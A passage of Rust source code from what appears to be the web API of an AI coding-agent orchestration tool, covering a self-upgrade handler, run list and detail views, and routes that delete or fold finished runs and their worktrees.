2569    // signal the handover again after `serve` already consumed the first
2570    // signal, leaving the process in `replaced` forever. Try-lock rather than
2571    // wait: a phone connection must not hang behind a GitHub round trip.
2572    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2573        return Err(ApiError::conflict(
2574            "another request is already preparing an upgrade",
2575        ));
2576    };
2577    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2578        return Err(ApiError::conflict(
2579            "an upgrade is already in progress (this process started one and it \
2580             has not finished or failed yet)",
2581        ));
2582    }
2583    let recorded = updater::read_progress(&ui.home);
2584    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2585        return Err(ApiError::conflict(format!(
2586            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2587             stays stuck, restart the deck; on start it settles a stale record.",
2588            p.stage.as_str(),
2589            p.from,
2590            p.to.as_deref().unwrap_or("?"),
2591        )));
2592    }
2593
2594    // The same kill switch the background check honours (`disabled_by_env`),
2595    // checked before anything else for the same reason it is read before the
2596    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2597    // contact GitHub from this process", and a button press must not
2598    // override that any more than a broken `magi.toml` may.
2599    if crate::updater::disabled_by_env() {
2600        return Ok((
2601            StatusCode::OK,
2602            Json(UpgradeView {
2603                from: env!("CARGO_PKG_VERSION").to_owned(),
2604                to: None,
2605                parked: None,
2606                detail: format!(
2607                    "Automatic updates are disabled by {}. Nothing was parked \
2608                     and nothing restarted.",
2609                    crate::updater::NO_AUTOUPDATE_ENV
2610                ),
2611            }),
2612        ));
2613    }
2614
2615    // Asked before anything is disturbed. Restarting when there is nothing
2616    // to install is not a harmless no-op: it parks the run in flight and
2617    // drops every connection to pay for an upgrade that did not happen. A
2618    // probe against a deck already on the newest build did exactly that.
2619    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2620    let from = env!("CARGO_PKG_VERSION").to_owned();
2621    let latest = match crate::updater::Checker::new(&cfg.update) {
2622        Some(checker) => checker
2623            .newer_release()
2624            .await
2625            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2626        None => None,
2627    };
2628    let Some(latest) = latest else {
2629        return Ok((
2630            StatusCode::OK,
2631            Json(UpgradeView {
2632                from,
2633                to: None,
2634                parked: None,
2635                detail: "Already on the newest release. Nothing was parked \
2636                         and nothing restarted."
2637                    .to_owned(),
2638            }),
2639        ));
2640    };
2641
2642    // Parked before anything is replaced: a successor that came up while a
2643    // run was mid-node would find a run nobody is driving.
2644    let parked = ui.park_for_upgrade()?;
2645    let detail = match &parked {
2646        // Honest about the wait. A park takes effect at the *next* node
2647        // boundary, so a run mid-implement finishes that wave first - up to
2648        // `timeout_implement`, an hour by default. Saying "restarting now"
2649        // would make the deck look wedged for the rest of it.
2650        Some(run) => format!(
2651            "Run {} is parking at its next step, which can take as long as \
2652             the step it is on - up to an hour for an implement wave. The \
2653             deck replaces itself once it parks, comes back, and the loop \
2654             carries that run on from where it stopped. Nothing is lost if \
2655             you close this.",
2656            crate::run::short_of(run)
2657        ),
2658        None => "The deck replaces itself and comes back. Nothing was in \
2659                 flight to park."
2660            .to_owned(),
2661    };
2662
2663    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2664    // poll must see a `Downloading` stage immediately, not whenever the
2665    // spawned task happens to get scheduled.
2666    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2667    progress.parked_run = parked.clone();
2668    // A failed write is logged, not returned: the loop is already parked
2669    // above, and bailing out here would leave it parked with no upgrade
2670    // spawned to hand over or resume it.
2671    updater::write_progress_logged(&ui.home, &progress);
2672
2673    let home = ui.home.clone();
2674    let looping = ui.looping();
2675    ui.upgrade_spawned
2676        .store(true, std::sync::atomic::Ordering::SeqCst);
2677    let spawned = Arc::clone(&ui.upgrade_spawned);
2678    tokio::spawn(async move {
2679        if let Err(e) = upgrade_and_restart(home.clone()).await {
2680            tracing::error!("the upgrade did not complete: {e:#}");
2681            lock_or_recover(&looping).resume_after_handover = false;
2682            // A failure of this attempt says nothing about a handover an
2683            // earlier request already has in flight; checked and written
2684            // under the progress lock.
2685            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2686            // Released last: until the cleanup above is done, a retry must
2687            // not be able to park and record state this would then undo.
2688            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2689        }
2690    });
2691
2692    Ok((
2693        StatusCode::ACCEPTED,
2694        Json(UpgradeView {
2695            from,
2696            to: Some(latest.tag_name),
2697            parked,
2698            detail,
2699        }),
2700    ))
2701}
2702
2703/// Replace the binary, then ask [`serve`] to hand the address over.
2704///
2705/// Separated from the handler so the 202 is already on its way, and separated
2706/// from the spawn so the successor starts only after the listener is dropped.
2707async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2708    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2709    // hang the upgrade for as long as the process lives.
2710    crate::updater::run_self_update(true, false, true).await?;
2711    updater::log_step(&home, "binary replaced - recording the replaced stage");
2712    if let Some(mut progress) = updater::read_progress(&home) {
2713        progress.advance(updater::Stage::Replaced);
2714        updater::write_progress_logged(&home, &progress);
2715    }
2716    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2717    HANDOVER.notify_one();
2718    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2719    Ok(())
2720}
2721
2722/// One row in the run list.
2723///
2724/// The list route returns this rather than whole `RunState`s: the summary of a
2725/// run is a few hundred bytes and the state is megabytes, and the difference
2726/// is what makes the history usable on a mobile link.
2727#[derive(Debug, Serialize)]
2728struct RunSummary {
2729    id: String,
2730    short: String,
2731    status: String,
2732    done: bool,
2733    instruction: String,
2734    title: String,
2735    repo: String,
2736    repo_name: String,
2737    created_at: String,
2738    updated_at: String,
2739    candidates: usize,
2740    viable: usize,
2741    judges: usize,
2742    winner: Option<char>,
2743    reviews: usize,
2744    quota_losses: usize,
2745    event: Option<String>,
2746    /// The later attempt at the same task that replaced this one, if any.
2747    ///
2748    /// Two cards with one title is otherwise unreadable: this is what lets
2749    /// the deck say "superseded by 4043" on the older of the pair.
2750    superseded_by: Option<String>,
2751    /// Blocked on a question nobody has answered.
2752    ///
2753    /// Derived from the question store rather than stored on the run: an agent
2754    /// calling `magi ask` blocks mid-node, and writing a status from there
2755    /// would race the graph's own save of `run.json` and be overwritten at the
2756    /// next node boundary. Asking the store is always true and never races.
2757    waiting: bool,
2758    /// Whether the process recorded as driving this run can still be proven
2759    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2760    /// rather than presenting its last graph node as still in flight.
2761    live: crate::run::Liveness,
2762    /// The land loop's last look at the pull request, when there is one.
2763    pr: Option<crate::run::PrRecord>,
2764    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2765    /// design — never picked up by the PR-polling merge watcher, unlike an
2766    /// ordinary `Ready` that may still be a live landing candidate. See
2767    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2768    /// re-deriving the same check from `status` and `merge.mode` itself.
2769    unmerged_by_design: bool,
2770    /// Who started the run, as the one label every surface shares; the
2771    /// "origin unknown" wording when the record predates origins.
2772    origin_label: String,
2773}
2774
2775impl RunSummary {
2776    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2777        Self {
2778            id: state.id.clone(),
2779            short: state.short().to_owned(),
2780            status: status_word(state.status),
2781            done: state.status.done(),
2782            unmerged_by_design: state.unmerged_by_design(),
2783            instruction: state.instruction.clone(),
2784            title: title_from(&state.instruction, TITLE_MAX),
2785            repo: state.repo.display().to_string(),
2786            repo_name: state
2787                .repo
2788                .file_name()
2789                .map(|n| n.to_string_lossy().into_owned())
2790                .unwrap_or_default(),
2791            created_at: state.created_at.to_string(),
2792            updated_at: state.updated_at.to_string(),
2793            candidates: state.candidates.len(),
2794            viable: state.viable().len(),
2795            judges: state.config.graph.judges,
2796            winner: state.winner().map(|c| c.label),
2797            reviews: state.reviews.len(),
2798            quota_losses: state.quota.len(),
2799            event: state.events.last().map(|e| e.message.clone()),
2800            waiting,
2801            live,
2802            // Filled in by the list route, which is the only place that can
2803            // see a task's other attempts.
2804            superseded_by: None,
2805            pr: state.pr.clone(),
2806            origin_label: crate::run::origin_label(state.origin.as_ref()),
2807        }
2808    }
2809}
2810
2811/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2812/// the same string `serde` writes for the status inside a full run.
2813fn status_word(status: RunStatus) -> String {
2814    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2815    // was a third way of naming the same statuses, and one that changed
2816    // silently with a derive.
2817    status.as_str().to_owned()
2818}
2819
2820/// `?limit=`, clamped by the handler.
2821#[derive(Debug, Deserialize)]
2822struct ListQuery {
2823    #[serde(default)]
2824    limit: Option<usize>,
2825    /// Exact ids only; an empty value requests no rows (except queue blockers).
2826    ids: Option<String>,
2827}
2828
2829impl ListQuery {
2830    fn contains(&self, id: &str) -> bool {
2831        self.ids
2832            .as_ref()
2833            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2834    }
2835}
2836
2837async fn runs_list(
2838    State(ui): State<Arc<Ui>>,
2839    Query(q): Query<ListQuery>,
2840) -> ApiResult<Json<Vec<RunSummary>>> {
2841    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2842    blocking(move || {
2843        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2844        let states = run_ids(&ui.runs)
2845            .into_iter()
2846            // A run whose state cannot be read is skipped, not fatal: a run
2847            // killed mid-write must not blank the history of every other one.
2848            // The detail route still explains it, which is where an operator
2849            // asking "what happened to that run" ends up.
2850            .filter_map(|id| read_run(&ui.runs, &id).ok())
2851            .take(limit)
2852            .filter(|run| q.contains(&run.id));
2853        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2854        let summaries = summarize(
2855            states,
2856            &open_runs,
2857            &claimed,
2858            &superseded,
2859            |p| probe.borrow_mut().status(p),
2860            |p| probe.borrow_mut().started_at(p),
2861        );
2862        Ok(Json(summaries))
2863    })
2864    .await
2865}
2866
2867/// Everything the per-run rows share, read once: runs with an open question,
2868/// runs a live daemon claims, and the superseded map. Asking per run re-read
2869/// every question file and the daemon status file for each of hundreds of
2870/// runs, and spawned a process probe per run on Windows.
2871fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2872    let open_runs: HashSet<String> = ui
2873        .questions
2874        .list()
2875        .into_iter()
2876        .filter(|q| q.status.open())
2877        .map(|q| q.run)
2878        .collect();
2879    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2880        .into_iter()
2881        .map(|c| c.run)
2882        .collect();
2883    (open_runs, claimed, ui.queue.superseded())
2884}
2885
2886/// The rows of the run list, given everything that is shared between them.
2887///
2888/// Pure over its inputs so a test can count how often the process queries are
2889/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2890/// takes, called at most once per run.
2891fn summarize<I, S, D>(
2892    states: I,
2893    open_runs: &HashSet<String>,
2894    claimed: &HashSet<String>,
2895    superseded: &HashMap<String, String>,
2896    mut status_q: S,
2897    mut identity_q: D,
2898) -> Vec<RunSummary>
2899where
2900    I: IntoIterator<Item = RunState>,
2901    S: FnMut(u32) -> Option<bool>,
2902    D: FnMut(u32) -> Option<String>,
2903{
2904    states
2905        .into_iter()
2906        .map(|state| {
2907            let waiting = open_runs.contains(&state.id);
2908            let live =
2909                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2910            let mut row = RunSummary::of(&state, waiting, live);
2911            row.superseded_by = superseded
2912                .get(&state.id)
2913                .map(String::as_str)
2914                .map(crate::run::short_of)
2915                .map(str::to_owned);
2916            row
2917        })
2918        .collect()
2919}
2920
2921/// A run as the detail route hands it to the phone.
2922///
2923/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2924/// the instruction as markdown, and the raw `instruction` field this struct
2925/// still carries (unchanged) is what a client wanting the exact bytes reads
2926/// instead.
2927#[derive(Debug, Serialize)]
2928struct RunDetailView {
2929    #[serde(flatten)]
2930    state: RunState,
2931    instruction_md: Vec<md::Node>,
2932    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2933    /// mirror the records they come from, index for index; the raw strings
2934    /// stay in `state` and decide whether a block is shown at all.
2935    #[serde(flatten)]
2936    prose_md: RunProseMd,
2937    /// Whether a process is actually still driving this run: `"live"`,
2938    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2939    ///
2940    /// `state.active` (flattened in above) is only ever cleared by the
2941    /// process that populated it; a killed one leaves its last wave's
2942    /// entries behind. Carrying this alongside is what lets the phone rail
2943    /// tell "this seat is still answering" from "this seat was still
2944    /// answering when whatever was driving this run died" without a second
2945    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2946    /// proof of either. A string rather than a bool on purpose: a daemon
2947    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2948    /// and neither proven is `"unknown"` — folding that third case into
2949    /// either end of a bool is exactly the wrong call for a phone screen an
2950    /// operator uses to decide whether to wait or to act.
2951    live: crate::run::Liveness,
2952    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2953    /// alongside the flattened `state` rather than inside it, since
2954    /// `RunState` has no business knowing which of its own methods a caller
2955    /// wants serialized.
2956    unmerged_by_design: bool,
2957    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2958    /// terminal. The client's `landView` keys on it, and the flattened state
2959    /// has no such field, so without it a finished run's stale `open` PR
2960    /// would be painted as live on the detail page.
2961    done: bool,
2962    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2963    /// route fills it from [`Queue::superseded`], the detail route from
2964    /// [`Queue::superseded_by`], and both read the same underlying task
2965    /// order. Without this the detail page could only ever show a red
2966    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2967    /// with nothing anywhere saying so — an operator opening it had no way
2968    /// to tell "this is done elsewhere" from "this still needs a retry".
2969    superseded_by: Option<String>,
2970    /// The task's current attempt, when this run is an older one — resolved
2971    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2972    /// the client to derive.
2973    ///
2974    /// Three things a client cannot safely do on its own drove this onto the
2975    /// server: it has to name the chain's *current head*, not just the next
2976    /// attempt (`superseded_by` above), because an intermediate retry in a
2977    /// longer chain can itself still be unresolved; it has to resolve to a
2978    /// real id rather than a short id a client would have to guess a full id
2979    /// from, which is ambiguous the moment two runs share a suffix; and it
2980    /// has to read that head's own status directly, because whether a run
2981    /// list a client happens to have cached even contains that attempt
2982    /// depends on a page limit this route knows nothing about.
2983    latest_attempt: Option<LatestAttempt>,
2984    /// The queue task this run belongs to, so the detail page can link back
2985    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2986    task: Option<TaskRef>,
2987    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2988    /// run recorded before origins existed. `origin` itself (flattened in
2989    /// with `state`) is `null` in that case.
2990    origin_label: String,
2991}
2992
2993/// A task named from a run's detail page.
2994#[derive(Debug, Serialize)]
2995struct TaskRef {
2996    id: String,
2997    short: String,
2998    title: String,
2999    /// [`Source::label`], e.g. `chat@a1b2`.
3000    source_label: String,
3001    /// Where the task came from, when that place has a page; see [`source_link`].
3002    source_link: Option<SourceLink>,
3003    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3004    status: &'static str,
3005    attempts: usize,
3006    max_attempts: usize,
3007    /// This run is the last entry of the task's run list.
3008    is_latest: bool,
3009    /// The task's newest run, when it is not this one.
3010    latest: Option<RunBrief>,
3011    /// The run that finished a `done` task (merged, or already in the base).
3012    finished_by: Option<RunBrief>,
3013    /// The task is `done` but no run on record finished it: closed by hand.
3014    closed_by_hand: bool,
3015}
3016
3017/// The page that filed a task, as the UI links to it.
3018#[derive(Debug, PartialEq, Eq, Serialize)]
3019struct SourceLink {
3020    /// `chat` (a conversation) or `run` (a run's node).
3021    kind: &'static str,
3022    /// The full id, never the short one in the label.
3023    id: String,
3024    /// The hash route that opens it.
3025    href: String,
3026}
3027
3028/// Percent-encode everything outside the URL-unreserved set.
3029fn encode_segment(raw: &str) -> String {
3030    let mut out = String::with_capacity(raw.len());
3031    for b in raw.bytes() {
3032        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3033            out.push(b as char);
3034        } else {
3035            out.push_str(&format!("%{b:02X}"));
3036        }
3037    }
3038    out
3039}
3040
3041/// The one place that decides where a task's source links to. A chat
3042/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3043/// a person or an imported issue has no page, so no link.
3044fn source_link(source: &Source) -> Option<SourceLink> {
3045    let Source::Agent { run, node } = source else {
3046        return None;
3047    };
3048    let (kind, route) = if node == crate::queue::CHAT_NODE {
3049        ("chat", "chat")
3050    } else {
3051        ("run", "runs")
3052    };
3053    Some(SourceLink {
3054        kind,
3055        id: run.clone(),
3056        href: format!("#/{route}/{}", encode_segment(run)),
3057    })
3058}
3059
3060/// Another run of the same task, as named from a run's detail page.
3061#[derive(Debug, Serialize)]
3062struct RunBrief {
3063    id: String,
3064    short: String,
3065    /// `None` when the run's record cannot be read.
3066    status: Option<&'static str>,
3067    /// The task-page wording for how that pass ended.
3068    outcome: String,
3069}
3070
3071/// The task's overall outcome as seen from `this_run`'s page, classified with
3072/// the same exits the task page's flowchart uses.
3073fn task_outcome(
3074    task: &Task,
3075    this_run: &str,
3076    max_attempts: usize,
3077    read: impl Fn(&str) -> Option<RunState>,
3078) -> TaskRef {
3079    let history = task_history(task, read);
3080    let brief = |h: &TaskRunView| RunBrief {
3081        id: h.id.clone(),
3082        short: h.short.clone(),
3083        status: h.status,
3084        outcome: h.exit.edge_label(h.status),
3085    };
3086    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3087    let latest = if is_latest {
3088        None
3089    } else {
3090        history.last().map(brief)
3091    };
3092    let done = task.status == TaskStatus::Done;
3093    let finished_by = done
3094        .then(|| {
3095            history
3096                .iter()
3097                .rev()
3098                .find(|h| {
3099                    matches!(
3100                        h.exit,
3101                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3102                    )
3103                })
3104                .map(brief)
3105        })
3106        .flatten();
3107    TaskRef {
3108        short: task.short().to_owned(),
3109        title: task.title.clone(),
3110        id: task.id.clone(),
3111        source_label: task.source.label(),
3112        source_link: source_link(&task.source),
3113        status: task.status.as_str(),
3114        attempts: task.attempts,
3115        max_attempts,
3116        is_latest,
3117        latest,
3118        closed_by_hand: done && finished_by.is_none(),
3119        finished_by,
3120    }
3121}
3122
3123/// The task's current attempt, as seen from an older one's detail page.
3124#[derive(Debug, Serialize)]
3125struct LatestAttempt {
3126    id: String,
3127    short: String,
3128    /// Whether this attempt itself settled with a result nobody needs to
3129    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3130    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3131    /// unconfirmed claim that no change was needed, which is exactly why it
3132    /// settles the task through `Held` rather than `Done` and still waits on
3133    /// a human to check the evidence; showing an older run as "finished
3134    /// elsewhere" on the strength of an unverified claim would bury the
3135    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3136    /// in-flight status are excluded because they are exactly the
3137    /// unresolved states this field exists to tell apart from a real finish.
3138    resolved: bool,
3139    /// The attempt's own recorded status, so the page can say where it
3140    /// stands while it is not resolved yet.
3141    status: RunStatus,
3142    /// Whether that status is terminal (nothing is still running it).
3143    done: bool,
3144}
3145
3146/// Markdown for the free-text prose of a run, parallel to `RunState`.
3147#[derive(Debug, Default, Serialize)]
3148struct RunProseMd {
3149    /// `None` when the run has no design deliberation.
3150    advice_md: Option<AdviceMd>,
3151    /// One entry per candidate: the summary.
3152    candidate_summaries_md: Vec<Vec<md::Node>>,
3153    /// One entry per review round, in `reviews` order.
3154    reviews_md: Vec<RoundMd>,
3155}
3156
3157#[derive(Debug, Default, Serialize)]
3158struct AdviceMd {
3159    synthesis: Vec<md::Node>,
3160    /// One per record; empty for a seat with no proposal.
3161    approaches: Vec<Vec<md::Node>>,
3162}
3163
3164#[derive(Debug, Default, Serialize)]
3165struct RoundMd {
3166    /// One per reviewer record.
3167    reviewers: Vec<ReviewerMd>,
3168    /// One per `reconsideration` entry: the reason.
3169    reconsideration: Vec<Vec<md::Node>>,
3170    fix: Option<FixMd>,
3171}
3172
3173#[derive(Debug, Default, Serialize)]
3174struct ReviewerMd {
3175    summary: Vec<md::Node>,
3176    /// One per finding, in recorded order (not the display order).
3177    findings: Vec<Vec<md::Node>>,
3178}
3179
3180#[derive(Debug, Default, Serialize)]
3181struct FixMd {
3182    notes: Vec<md::Node>,
3183    /// One per rejection: the argument.
3184    rejected: Vec<Vec<md::Node>>,
3185}
3186
3187/// Parse a run's agent-written prose; a pure function of the state.
3188fn run_prose_md(state: &RunState) -> RunProseMd {
3189    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3190    RunProseMd {
3191        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3192            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3193            approaches: a
3194                .records
3195                .iter()
3196                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3197                .collect(),
3198        }),
3199        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3200        reviews_md: state
3201            .reviews
3202            .iter()
3203            .map(|round| RoundMd {
3204                reviewers: round
3205                    .reviews
3206                    .iter()
3207                    .map(|rec| ReviewerMd {
3208                        summary: nodes(&rec.summary),
3209                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3210                    })
3211                    .collect(),
3212                reconsideration: round
3213                    .reconsideration
3214                    .iter()
3215                    .map(|rv| nodes(&rv.reason))
3216                    .collect(),
3217                fix: round.fix.as_ref().map(|fix| FixMd {
3218                    notes: nodes(&fix.notes),
3219                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3220                }),
3221            })
3222            .collect(),
3223    }
3224}
3225
3226impl RunDetailView {
3227    fn of(
3228        state: RunState,
3229        live: crate::run::Liveness,
3230        superseded_by: Option<String>,
3231        latest_attempt: Option<LatestAttempt>,
3232        task: Option<TaskRef>,
3233    ) -> Self {
3234        Self {
3235            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3236            prose_md: run_prose_md(&state),
3237            origin_label: crate::run::origin_label(state.origin.as_ref()),
3238            live,
3239            unmerged_by_design: state.unmerged_by_design(),
3240            done: state.status.done(),
3241            superseded_by,
3242            latest_attempt,
3243            task,
3244            state,
3245        }
3246    }
3247}
3248
3249async fn run_detail(
3250    State(ui): State<Arc<Ui>>,
3251    Path(id): Path<String>,
3252) -> ApiResult<Json<RunDetailView>> {
3253    blocking(move || {
3254        let id = resolve_run(&ui.runs, &id)?;
3255        let state = read_run(&ui.runs, &id)?;
3256        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3257        let live = state.liveness(daemon_claims);
3258        let superseded_by = ui
3259            .queue
3260            .superseded_by(&id)
3261            .as_deref()
3262            .map(crate::run::short_of)
3263            .map(str::to_owned);
3264        // Best-effort: an unreadable head (mid-write, or deleted) just means
3265        // this run's own status stands on its own, same as no later attempt
3266        // existing at all.
3267        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3268            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3269                short: head.short().to_owned(),
3270                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3271                status: head.status,
3272                done: head.status.done(),
3273                id: head.id,
3274            })
3275        });
3276        let max_attempts = daemon::Opts::default().max_attempts;
3277        let task = ui
3278            .queue
3279            .list()
3280            .into_iter()
3281            .find(|t| t.runs.contains(&id))
3282            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3283        Ok(Json(RunDetailView::of(
3284            state,
3285            live,
3286            superseded_by,
3287            latest_attempt,
3288            task,
3289        )))
3290    })
3291    .await
3292}
3293
3294/// `DELETE /api/runs/{id}`.
3295///
3296/// Remove a finished, folded run directory along with its artifacts.
3297/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3298/// deleted. This never touches git worktrees or branches - except for a run
3299/// whose state this build cannot read at all, where there is no candidate
3300/// list to check and the wholesale removal `magi fold` already uses for that
3301/// case is the only meaningful "delete".
3302async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3303    let (id, unreadable) = {
3304        let ui = Arc::clone(&ui);
3305        blocking(move || {
3306            let id = resolve_run(&ui.runs, &id)?;
3307            match read_run(&ui.runs, &id) {
3308                Ok(state) => {
3309                    let in_flight =
3310                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3311                    state
3312                        .ensure_can_delete(in_flight)
3313                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3314                    let dir = ui.runs.join(&id);
3315                    std::fs::remove_dir_all(&dir)
3316                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3317                    Ok((id, false))
3318                }
3319                Err(_) => {
3320                    // Unreadable: there is no candidate list to guard on, so
3321                    // a live daemon's claim is the only thing left to check -
3322                    // the same rule `run_fold` applies for the same reason.
3323                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3324                        return Err(ApiError::conflict(format!(
3325                            "run {id} is being worked on by a live daemon right now"
3326                        )));
3327                    }
3328                    Ok((id, true))
3329                }
3330            }
3331        })
3332        .await?
3333    };
3334    if unreadable {
3335        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3336            .await
3337            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3338    }
3339    let ui = Arc::clone(&ui);
3340    let done = id.clone();
3341    blocking(move || {
3342        // The agent that asked died with the run, so an open question would
3343        // keep asking the operator for a decision nobody can deliver.
3344        ui.questions.abandon_for_run(
3345            &done,
3346            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3347        )?;
3348        Ok(())
3349    })
3350    .await?;
3351    Ok(StatusCode::NO_CONTENT)
3352}
3353
3354/// `POST /api/runs/{id}/fold`.
3355///
3356/// Remove a run's candidate worktrees and branches, keeping its record.
3357///
3358/// This exists because the deck answered "delete this run" with *"Candidates
3359/// must be folded before deleting. Run `magi fold` first."* — a phone being
3360/// told to open a terminal, in the one product whose point is that it does
3361/// not need one. The runs an operator most wants gone are the stalled and
3362/// blocked ones, and those are exactly the runs still holding worktrees:
3363/// three of them here held 53 GB.
3364///
3365/// The winner's tree goes too. A fold is what someone asks for when they are
3366/// finished with a run, and leaving one tree behind would leave the delete
3367/// button disabled for the same reason as before.
3368///
3369/// Refused while a live daemon is working on the run, on the rule that guards
3370/// deletion: folding underneath a running agent would pull the tree it is
3371/// editing out from under it.
3372///
3373/// A run whose state this build cannot read at all falls back to
3374/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3375/// selectively, so the whole record's worktree goes wholesale, exactly what
3376/// `magi fold` does on the command line for the same run.
3377async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3378    let (id, state) = {
3379        let ui = Arc::clone(&ui);
3380        blocking(move || {
3381            let id = resolve_run(&ui.runs, &id)?;
3382            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3383                return Err(ApiError::conflict(format!(
3384                    "run {id} is being worked on by a live daemon right now"
3385                )));
3386            }
3387            let state = read_run(&ui.runs, &id).ok();
3388            Ok((id, state))
3389        })
3390        .await?
3391    };
3392    let removed = match state {
3393        Some(mut state) => {
3394            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3395                .await
3396                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3397            // Nothing left to remove is not the same thing as nothing left to
3398            // do — see `clean::clear_abandoned_active`'s own doc for the run
3399            // this exists for: worktrees already gone, but a killed process
3400            // left active seats nobody will ever answer for.
3401            if removed.is_empty() {
3402                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3403                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3404            }
3405            removed
3406        }
3407        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3408            .await
3409            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3410    };
3411    Ok(Json(FoldView {
3412        run: id,
3413        removed_count: removed.len(),
3414        removed,
3415    }))
3416}
3417
3418/// What a fold took away, so the deck can say so rather than only re-render.
3419#[derive(Debug, Serialize)]
3420struct FoldView {
3421    run: String,
3422    /// Worktree paths and branch names removed, in the order they went.
3423    removed: Vec<String>,
3424    removed_count: usize,
3425}
3426
3427/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3428/// merged outside of `land::land`'s own loop.
3429#[derive(Debug, Deserialize)]
3430struct FoldMergedBody {
3431    #[serde(default)]
3432    pr_url: String,
3433}
3434
3435/// `POST /api/runs/{id}/fold-merged`.
3436///
3437/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3438/// `Blocked` with `merge: null` because magi never got as far as opening a
3439/// pull request of its own (a title over GitHub's length limit, `gh pr
3440/// create` unreachable, a stale token), which the operator then finished by
3441/// hand on a pull request magi never recorded. The "Run actions" sheet used
3442/// to have no way to tell it about that pull request short of a terminal and
3443/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3444/// this exists and what it deliberately does not do (`bump::after_merge`).
3445///
3446/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3447/// correction rewrites the same `status`/`merge` fields a running graph would
3448/// be writing to on its own.
3449///
3450/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3451/// calls plus a fold, seconds of work, and the phone should get its answer
3452/// (which pull request it recorded, and what changed) in the same round
